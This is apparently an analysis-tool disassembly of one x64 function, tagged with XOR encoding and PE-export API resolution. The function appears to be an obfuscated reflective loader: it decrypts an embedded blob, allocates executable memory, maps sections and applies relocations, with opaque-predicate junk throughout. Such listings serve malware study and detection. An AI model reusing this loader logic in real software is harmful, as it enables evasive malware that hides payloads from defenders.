Function at 0x180001060
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
cmp dword [0x180020a6c], 0xa
jl 0x180001092
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001092
nop word [rax + rax]
jmp 0x180001090
mov al, byte [section..data]
mov byte [rsp + 0x54], al
cmp dword [0x180020a6c], 0xa
jl 0x1800010b6
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001130
mov al, byte [0x180004001]
mov byte [rsp + 0x55], al
cmp dword [0x180020a6c], 0xa
jl 0x1800010da
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001130
mov al, byte [0x180004002]
mov byte [rsp + 0x56], al
cmp dword [0x180020a6c], 0xa
jl 0x1800010fe
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001130
mov al, byte [0x180004003]
mov byte [rsp + 0x57], al
mov ecx, dword [0x180020a70]
mov edi, dword [0x180020a6c]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
cmp edi, 0xa
jl 0x180001132
test eax, eax
je 0x180001132
nop word cs:[rax + rax]
jmp 0x180001130
mov ecx, dword [0x180020a74]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180020a78], 0xa
setl dl
or dl, cl
cmp dl, 1
jne 0x1800011a0
mov esi, dword [rsp + 0x54]
xor ebx, ebx
lea r15, section..data
nop word cs:[rax + rax]
nop dword [rax]
cmp rsi, rbx
je 0x1800011a2
mov ebp, ebx
and ebp, 0x3ff
movzx ecx, byte [rbp + r15 + 4]
xor cl, byte [rbx + r15 + 0x404]
xor cl, 0xc
mov byte [rbx + r15 + 0x404], cl
add rbx, 1
test dl, dl
jne 0x180001170
nop
jmp 0x1800011a0
cmp edi, 0xa
jl 0x1800011b2
test eax, eax
je 0x1800011b2
nop dword [rax + rax]
jmp 0x1800011b0
lea r10, [rsi + r15]
add r10, 0x404
mov ecx, 4
lea r8, [rsp + 0x3c]
mov rdx, r8
mov rdi, r10
movzx ebx, byte [rdi]
mov byte [rdx], bl
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
cmp ebx, 0xa
jl 0x1800011f4
test ebp, ebp
jne 0x180001320
add rcx, 0xffffffffffffffff
add rdx, 1
add rdi, 1
test rcx, rcx
jne 0x1800011cd
cmp dword [0x180020a78], 0xa
jl 0x180001332
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001332
cmp ebx, 0xa
jl 0x180001234
test ebp, ebp
jne 0x180001330
movzx eax, byte [rsi + r15 + 0x404]
mov byte [rsp + 0x3c], al
cmp dword [0x180020a6c], 0xa
jl 0x18000125f
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001310
movzx eax, byte [rsi + r15 + 0x405]
mov byte [rsp + 0x3d], al
cmp dword [0x180020a6c], 0xa
jl 0x18000128a
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001310
movzx eax, byte [rsi + r15 + 0x406]
mov byte [rsp + 0x3e], al
cmp dword [0x180020a6c], 0xa
jl 0x1800012b1
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001310
movzx eax, byte [rsi + r15 + 0x407]
mov byte [rsp + 0x3f], al
mov eax, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
cmp ebx, 0xa
jl 0x1800012dc
test ebp, ebp
jne 0x180001310
mov ecx, 4
mov rdx, r8
mov rdi, r10
cmp ebx, 0xa
jl 0x1800011cd
mov ecx, 4
mov rdx, r8
mov rdi, r10
test ebp, ebp
je 0x1800011cd
jmp 0x1800011b0
jmp 0x180001310
jmp 0x180001320
jmp 0x180001330
add r10, 4
mov r9d, dword [rsp + 0x3c]
test r9, r9
mov qword [rsp + 0x30], r10
je 0x1800014a0
xor eax, eax
cmp r9d, 0x20
jb 0x18000147b
lea rdx, [r9 - 1]
cmp rdx, 0x400
jae 0x18000147b
lea rcx, [rsi + r15]
add rcx, 0x408
lea rdx, [r9 + r15]
add rdx, 4
cmp rcx, rdx
jae 0x18000139f
lea rcx, [r9 + rsi]
add rcx, r15
add rcx, 0x408
lea rdx, str.WJWWUTlIEtOtDLVMxUCeiejKlTbOmwmrFXQCcQDyZcylJnOqRXlMsVoDHRfMrzMocTkElcbGGxBzfdzWrwWrRqubWqBJVoEUXqIuUoAnOHgoomOGpeeilCamfZesthiGhuAoRnCgJsFyDAkLeVryYqAEmjPuyeQBeAltjlzjPcHWEcsfHiasUTRdycRpoZRrnOYOVVLxyBbSSBPnAUIRDyOpEZgyHRztKfiUPfCIQrLshJYUQSboavGCUknMrDahEItDWDlHtoyVDmrQkFBYxzGKMfdpsKcPIwwCPIwttVjwgXOxZasFazYtHVBKFMKdkESxfHVYCExkEChwZhsmEPQkJDVYpkeUgFPoaVlkpugtdRLYGSdqZjlbvrFWvEIRSMJWvMYXxKKBBDPxWMOkPBoQFkLsTzyCwaGJCdJoDIWFLfctwnuFvmykBwFTpxvwagyMbKqtKHkwMLFvrzHJdIMWbDQcnCSvnjKImGRCbsJMcQFrruUWTmCtCVaodVHgxxBvwjeOMJkJUiFGPhIMktlfHajtueERYaWsIrYHJrPOqjHqdIOxozDPtJwfMoWWkjyLsaKvLpjsPOiHgmjmJCULxcHbYdRXJdbijifysOpQAPEZbOejQATTEYsFkhxCACEILpqrEmSMDjPQUCslSuKRiCOOWIvERlwkTtBIDzGoTUFnWeEMSHBSCJuOxsnATAZbPvRqybltgQrHvHfAIrWpnBsOvtZWyDtsCWpIfiTUuxiTlORibWwkTBAppyECCqZPZyvTPvbcCPRZOoaKxbAkZsWStVXQdxQoqgIFahsaQqXKEnbeoIhgtyTKpTXjDwGLBtyPlVLPLBFTPaaGKvIVQEpGaItskzWTzTJUCdlRGYtyAIlaLUaEjjuKOfdGIepStJHeIMEwOimgBglRJktYXaAxlWjxPzILJXGjqRrpgjhfHYIDoWfShfmPOZxuUmCvOPseqYEzBeBpqGBHyMSmTlTxKgzkXenOmSBSdcObKZKozpvoeQQQTvsIfhT
cmp rcx, rdx
jbe 0x18000139f
xor eax, eax
jmp 0x18000147b
mov eax, r9d
and eax, 0xffffffe0
lea rbp, [rax - 0x20]
mov rdx, rbp
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbp, rbp
je 0x18000143a
lea rbx, [rsi + r15]
add rbx, 0x438
mov rbp, r8
sub rbp, rdx
xor edi, edi
mov edx, edi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r15 + 4]
movups xmm1, xmmword [rdx + r15 + 0x14]
movups xmm2, xmmword [rbx + rdi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rbx + rdi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rbx + rdi - 0x10]
movups xmm3, xmmword [rbx + rdi]
movups xmmword [rbx + rdi - 0x30], xmm2
movups xmmword [rbx + rdi - 0x20], xmm0
lea edx, [rdi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r15 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r15 + 0x14]
xorps xmm1, xmm3
movups xmmword [rbx + rdi - 0x10], xmm0
movups xmmword [rbx + rdi], xmm1
add rdi, 0x40
add rbp, 2
jne 0x1800013d3
jmp 0x18000143c
xor edi, edi
test r8, r8
mov r10, qword [rsp + 0x30]
je 0x180001476
mov edx, edi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r15 + 4]
movups xmm1, xmmword [rdx + r15 + 0x14]
movups xmm2, xmmword [r10 + rdi]
xorps xmm2, xmm0
movups xmm0, xmmword [r10 + rdi + 0x10]
xorps xmm0, xmm1
movups xmmword [r10 + rdi], xmm2
movups xmmword [r10 + rdi + 0x10], xmm0
cmp rax, r9
je 0x1800014a0
lea rdx, [rsi + r15]
add rdx, 0x408
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r15 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x180001486
cmp dword [0x180020a7c], 0xa
jl 0x1800014c2
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800014c2
nop word [rax + rax]
jmp 0x1800014c0
add rsi, 0x408
movsxd rax, dword [0x180004440]
lea rdi, [rax + r15]
add rdi, 0x404
mov rbp, r10
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x1800014de
mov r13, rbp
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800014eb
mov r14, r13
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800014f9
mov qword [rsp + 0x70], r14
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001508
mov rbx, r14
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001515
mov r12, rbx
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001521
mov rcx, rbp
call fcn.180002360
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001556
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001a9c
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001585
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001a9e
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rdi
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov ebp, dword [rdi]
add rbp, r9
mov rdx, r13
nop word [rax + rax]
movzx ecx, byte [rdx]
movzx eax, byte [rbp]
test cl, cl
je 0x1800015c7
add rbp, 1
add rdx, 1
cmp cl, al
je 0x1800015b0
cmp cl, al
je 0x1800015d5
add rdi, 4
add r10, 2
jmp 0x1800015a2
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rbx
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001607
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001aa0
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001636
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001aa2
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov ebp, dword [rdx]
add rbp, r10
mov rax, r14
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ebx, byte [rax]
movzx ecx, byte [rbp]
test bl, bl
je 0x180001677
add rbp, 1
add rax, 1
cmp bl, cl
je 0x180001660
cmp bl, cl
je 0x180001685
add rdx, 4
add rdi, 2
jmp 0x180001649
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r12
mov r8, r12
call r10
mov rcx, qword [rsp + 0x48]
call fcn.180002360
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800016dd
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001aa4
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000170c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001aa6
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov ebp, dword [rdx]
add rbp, r10
xor edi, edi
nop word cs:[rax + rax]
lea rax, [rsi + rdi]
movzx eax, byte [r15 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x18000174a
add rdi, 1
cmp al, bl
je 0x180001730
cmp al, bl
je 0x180001758
add rdx, 4
add rcx, 2
jmp 0x18000171f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
mov r14, rax
mov ecx, dword [0x180020a74]
mov eax, dword [0x180020a78]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x180001ab6
test edx, edx
je 0x180001ab6
movsxd rbp, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rsp + 0x30]
mov r12, rdx
jl 0x1800017d4
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r12, rdx
and ecx, 1
jne 0x180001aa8
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x1800017d4
mov rbx, r12
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x1800017e3
mov r14, rbx
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800017ef
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800017f9
mov rdi, r14
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001806
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001812
mov rcx, r12
call fcn.180002360
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001846
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001aaa
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001875
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001aac
mov qword [rsp + 0x48], rbp
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r11, r9
add r10, r9
mov edx, dword [r11]
add rdx, r9
mov rbp, rbx
nop word cs:[rax + rax]
movzx ecx, byte [rbp]
movzx eax, byte [rdx]
test cl, cl
je 0x1800018b7
add rdx, 1
add rbp, 1
cmp cl, al
je 0x1800018a0
cmp cl, al
je 0x1800018c5
add r11, 4
add r10, 2
jmp 0x18000188d
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rdi
call r9
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800018f7
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001aae
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001926
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ab0
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
mov ebp, dword [rdx]
add rbp, r10
mov rbx, r14
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx eax, byte [rbx]
movzx ecx, byte [rbp]
test al, al
je 0x180001967
add rbp, 1
add rbx, 1
cmp al, cl
je 0x180001950
cmp al, cl
je 0x180001975
add rdx, 4
add rdi, 2
jmp 0x180001939
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
mov rcx, r12
call fcn.180002360
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800019cb
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ab2
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800019fa
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ab4
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
mov ebp, dword [rdx]
add rbp, r10
xor edi, edi
nop word cs:[rax + rax]
nop
lea rax, [rsi + rdi]
movzx eax, byte [r15 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x180001a3a
add rdi, 1
cmp al, bl
je 0x180001a20
cmp al, bl
je 0x180001a48
add rdx, 4
add rcx, 2
jmp 0x180001a0d
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rsp + 0x48]
mov edx, dword [rax + r15 + 0x454]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
cmp dword [0x180020a7c], 0xa
mov r10, qword [rsp + 0x30]
jl 0x1800014c9
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800014c9
jmp 0x1800014c0
jmp 0x180001a9c
jmp 0x180001a9e
jmp 0x180001aa0
jmp 0x180001aa2
jmp 0x180001aa4
jmp 0x180001aa6
jmp 0x180001aa8
jmp 0x180001aaa
jmp 0x180001aac
jmp 0x180001aae
jmp 0x180001ab0
jmp 0x180001ab2
jmp 0x180001ab4
cmp eax, 0xa
jl 0x180001ac1
test edx, edx
je 0x180001ac1
jmp 0x180001abf
mov rdx, qword [rsp + 0x40]
lea r11, [rdx + 0x108]
xor r12d, r12d
mov rdx, qword [rsp + 0x40]
movzx edx, word [rdx + 6]
cmp r12, rdx
jae 0x180001c25
mov esi, dword [0x180020a70]
mov edx, dword [0x180020a6c]
lea rax, [r12 + r12*4]
lea rcx, [r11 + rax*8]
add rcx, 0xc
mov qword [rsp + 0x30], rcx
lea r9, [r11 + rax*8]
add r9, 0x10
lea r10, [r11 + rax*8]
add r10, 0x14
cmp edx, 0xa
jl 0x180001b23
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001c21
mov eax, dword [r9]
test rax, rax
je 0x180001b7b
mov edx, dword [r10]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rcx]
add rcx, r14
lea rbx, [rdx + r15]
add rbx, 0x404
xor r8d, r8d
jmp 0x180001b51
add r8, 1
cmp rax, r8
je 0x180001b7b
movzx edx, byte [rbx + r8]
mov byte [rcx + r8], dl
mov esi, dword [0x180020a70]
mov edx, dword [0x180020a6c]
cmp edx, 0xa
jl 0x180001b48
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
je 0x180001b48
jmp 0x180001c1d
mov ecx, dword [0x180020a74]
mov eax, dword [0x180020a78]
lea ebp, [rcx - 1]
imul ebp, ecx
and ebp, 1
cmp eax, 0xa
jl 0x180001c03
test ebp, ebp
je 0x180001c03
cmp edx, 0xa
jl 0x180001ba9
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001c23
mov eax, dword [r9]
test rax, rax
je 0x180001b0f
mov edx, dword [r10]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rcx]
add rcx, r14
lea rbx, [rdx + r15]
add rbx, 0x404
xor edi, edi
jmp 0x180001bde
add rdi, 1
cmp rax, rdi
je 0x180001b0f
movzx edx, byte [rbx + rdi]
mov byte [rcx + rdi], dl
mov esi, dword [0x180020a70]
mov edx, dword [0x180020a6c]
cmp edx, 0xa
jl 0x180001bd1
lea ebp, [rsi - 1]
imul ebp, esi
and ebp, 1
je 0x180001bd1
jmp 0x180001c1f
add r12, 1
cmp eax, 0xa
jl 0x180001ad0
test ebp, ebp
je 0x180001ad0
jmp 0x180001abf
jmp 0x180001c1d
jmp 0x180001c1f
jmp 0x180001c21
jmp 0x180001c23
mov rdx, qword [rsp + 0x40]
mov rbp, qword [rdx + 0x30]
mov rdx, r14
sub rdx, rbp
cmp eax, 0xa
jl 0x180001c46
lea ebp, [rcx - 1]
imul ebp, ecx
and ebp, 1
je 0x180001c46
jmp 0x180001c44
mov rbp, qword [rsp + 0x40]
mov esi, dword [rbp + 0xb0]
add rsi, r14
movabs r8, 0x1fffffff8
cmp dword [rsi], 0
je 0x180001da1
mov ebp, dword [rsi + 4]
cmp rbp, 8
jb 0x180001d6b
cmp eax, 0xa
jl 0x180001c88
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jne 0x180001d9b
add rbp, r8
shr rbp, 1
mov r9d, ebp
xor r10d, r10d
cmp r10, r9
je 0x180001d6b
movzx edi, word [rsi + r10*2 + 8]
mov ebp, edi
shr ebp, 0xc
mov ebx, edi
and ebx, 0xfff
cmp edi, 0xa000
jae 0x180001cda
cmp ebp, 3
jne 0x180001d42
mov eax, dword [rsi]
lea rax, [r14 + rax*4]
mov ecx, ebx
add dword [rax + rcx*4], edx
mov ecx, dword [0x180020a74]
mov eax, dword [0x180020a78]
jmp 0x180001d42
cmp ebp, 0xa
jne 0x180001d42
mov eax, dword [rsi]
add rbx, r14
add qword [rax + rbx], rdx
mov ecx, dword [0x180020a74]
mov eax, dword [0x180020a78]
cmp eax, 0xa
jl 0x180001d42
lea ebp, [rcx - 1]
imul ebp, ecx
and ebp, 1
je 0x180001d42
cmp eax, 0xa
jl 0x180001d18
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x180001d99
mov eax, dword [rsi]
add qword [rbx + rax], rdx
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
mov ebp, dword [rsi]
add qword [rbx + rbp], rdx
cmp ecx, 0xa
jl 0x180001ce8
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001d18
jmp 0x180001ce8
lea ebp, [rcx - 1]
imul ebp, ecx
and ebp, 1
cmp eax, 0xa
jl 0x180001d54
test ebp, ebp
jne 0x180001d9d
add r10, 1
cmp eax, 0xa
jl 0x180001c94
test ebp, ebp
je 0x180001c94
jmp 0x180001d9b
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp eax, 0xa
jl 0x180001d7d
test ebx, ebx
jne 0x180001d9f
mov ebp, dword [rsi + 4]
add rsi, rbp
cmp eax, 0xa
jl 0x180001c5e
test ebx, ebx
je 0x180001c5e
jmp 0x180001c44
jmp 0x180001d99
jmp 0x180001d9b
jmp 0x180001d9d
jmp 0x180001d9f
mov rdx, qword [rsp + 0x40]
mov edx, dword [rdx + 0x90]
add rdx, r14
mov qword [rsp + 0x60], rdx
lea rdx, [r14 + 2]
mov qword [rsp + 0x68], rdx
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp eax, 0xa
setl al
or al, cl
cmp al, 1
jne 0x180002166
mov rcx, qword [rsp + 0x60]
mov ecx, dword [rcx + 0xc]
mov qword [rsp + 0x30], rcx
test al, al
je 0x180002166
cmp dword [rsp + 0x30], 0
je 0x1800022c3
mov rcx, qword [rsp + 0x48]
call fcn.180002360
mov rdi, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e24
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022b5
mov r15, qword [rsp + 0x30]
lea rax, [r14 + r15]
mov qword [rsp + 0x58], rax
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rdi + rax + 0x88]
mov r8d, dword [rdi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e60
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800022b7
add r15, r14
add r8, rdi
mov esi, dword [rdi + rcx + 0x20]
mov ecx, dword [rdi + rcx + 0x24]
add rsi, rdi
add rcx, rdi
mov ebp, dword [rsi]
add rbp, rdi
mov rbx, r13
movzx eax, byte [rbx]
movzx edx, byte [rbp]
test al, al
je 0x180001e93
add rbp, 1
add rbx, 1
cmp al, dl
je 0x180001e7c
cmp al, dl
je 0x180001ea1
add rsi, 4
add rcx, 2
jmp 0x180001e74
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rdi, rax
mov rcx, r15
call rdi
mov r12, rax
mov ecx, dword [0x180020a74]
mov eax, dword [0x180020a78]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x18000216f
test edx, edx
je 0x18000216f
je 0x180001f9c
mov rcx, qword [rsp + 0x48]
call fcn.180002360
mov rsi, rax
cmp dword [0x180020a84], 0xa
jl 0x180001f0a
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022b9
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001f38
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800022bb
add r8, rsi
mov ebx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rbx, rsi
add rcx, rsi
mov ebp, dword [rbx]
add rbp, rsi
mov rdi, r13
movzx eax, byte [rdi]
movzx edx, byte [rbp]
test al, al
je 0x180001f68
add rbp, 1
add rdi, 1
cmp al, dl
je 0x180001f51
cmp al, dl
je 0x180001f76
add rbx, 4
add rcx, 2
jmp 0x180001f49
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rcx, qword [rsp + 0x58]
call rsi
mov ecx, dword [0x180020a74]
mov eax, dword [0x180020a78]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
mov r15, qword [rsp + 0x30]
cmp eax, 0xa
jl 0x180001fe9
mov r15, qword [rsp + 0x30]
test edx, edx
jne 0x1800020b6
jmp 0x180001fe9
mov rcx, qword [rsp + 0x48]
call fcn.180002360
mov rdi, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e32
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001e32
jmp 0x1800022b5
mov rcx, qword [rsp + 0x48]
call fcn.180002360
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002014
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022ad
movsxd rax, dword [r9 + 0x3c]
mov ebp, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rbp + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002043
mov eax, dword [0x180020a90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022b1
lea rcx, [r14 + r15]
add r8, r9
mov ebx, dword [r9 + rbp + 0x20]
mov esi, dword [r9 + rbp + 0x24]
add rbx, r9
add rsi, r9
mov ebp, dword [rbx]
add rbp, r9
mov rdi, r13
movzx eax, byte [rdi]
movzx edx, byte [rbp]
test al, al
je 0x180002079
add rbp, 1
add rdi, 1
cmp al, dl
je 0x180002062
cmp al, dl
je 0x180002087
add rbx, 4
add rsi, 2
jmp 0x18000205a
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r9, rax
call r9
cmp dword [0x180020a78], 0xa
jl 0x180001fb5
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001fb5
mov rcx, qword [rsp + 0x48]
call fcn.180002360
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800020e1
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022af
movsxd rax, dword [r9 + 0x3c]
mov ebp, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rbp + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002110
mov eax, dword [0x180020a90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022b3
lea rcx, [r14 + r15]
add r8, r9
mov ebx, dword [r9 + rbp + 0x20]
mov esi, dword [r9 + rbp + 0x24]
add rbx, r9
add rsi, r9
mov ebp, dword [rbx]
add rbp, r9
mov rdi, r13
movzx eax, byte [rdi]
movzx edx, byte [rbp]
test al, al
je 0x180002146
add rbp, 1
add rdi, 1
cmp al, dl
je 0x18000212f
cmp al, dl
je 0x180002154
add rbx, 4
add rsi, 2
jmp 0x180002127
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r9, rax
call r9
jmp 0x180001fe9
test al, al
je 0x180002166
jmp 0x180001dd9
cmp eax, 0xa
jl 0x18000217c
test edx, edx
jne 0x1800022bd
mov rdx, qword [rsp + 0x60]
mov ebp, dword [rdx]
mov edx, dword [rdx + 0x10]
add rbp, r14
mov qword [rsp + 0x30], rbp
add rdx, r14
mov qword [rsp + 0x58], rdx
mov rdx, qword [rsp + 0x30]
mov rdx, qword [rdx]
test rdx, rdx
je 0x1800022a2
mov rax, qword [rsp + 0x68]
add rax, rdx
test rdx, rdx
movzx r15d, dx
cmovns r15, rax
mov rcx, qword [rsp + 0x48]
call fcn.180002360
mov rsi, rax
cmp dword [0x180020a84], 0xa
jl 0x1800021e5
mov eax, dword [0x180020a88]
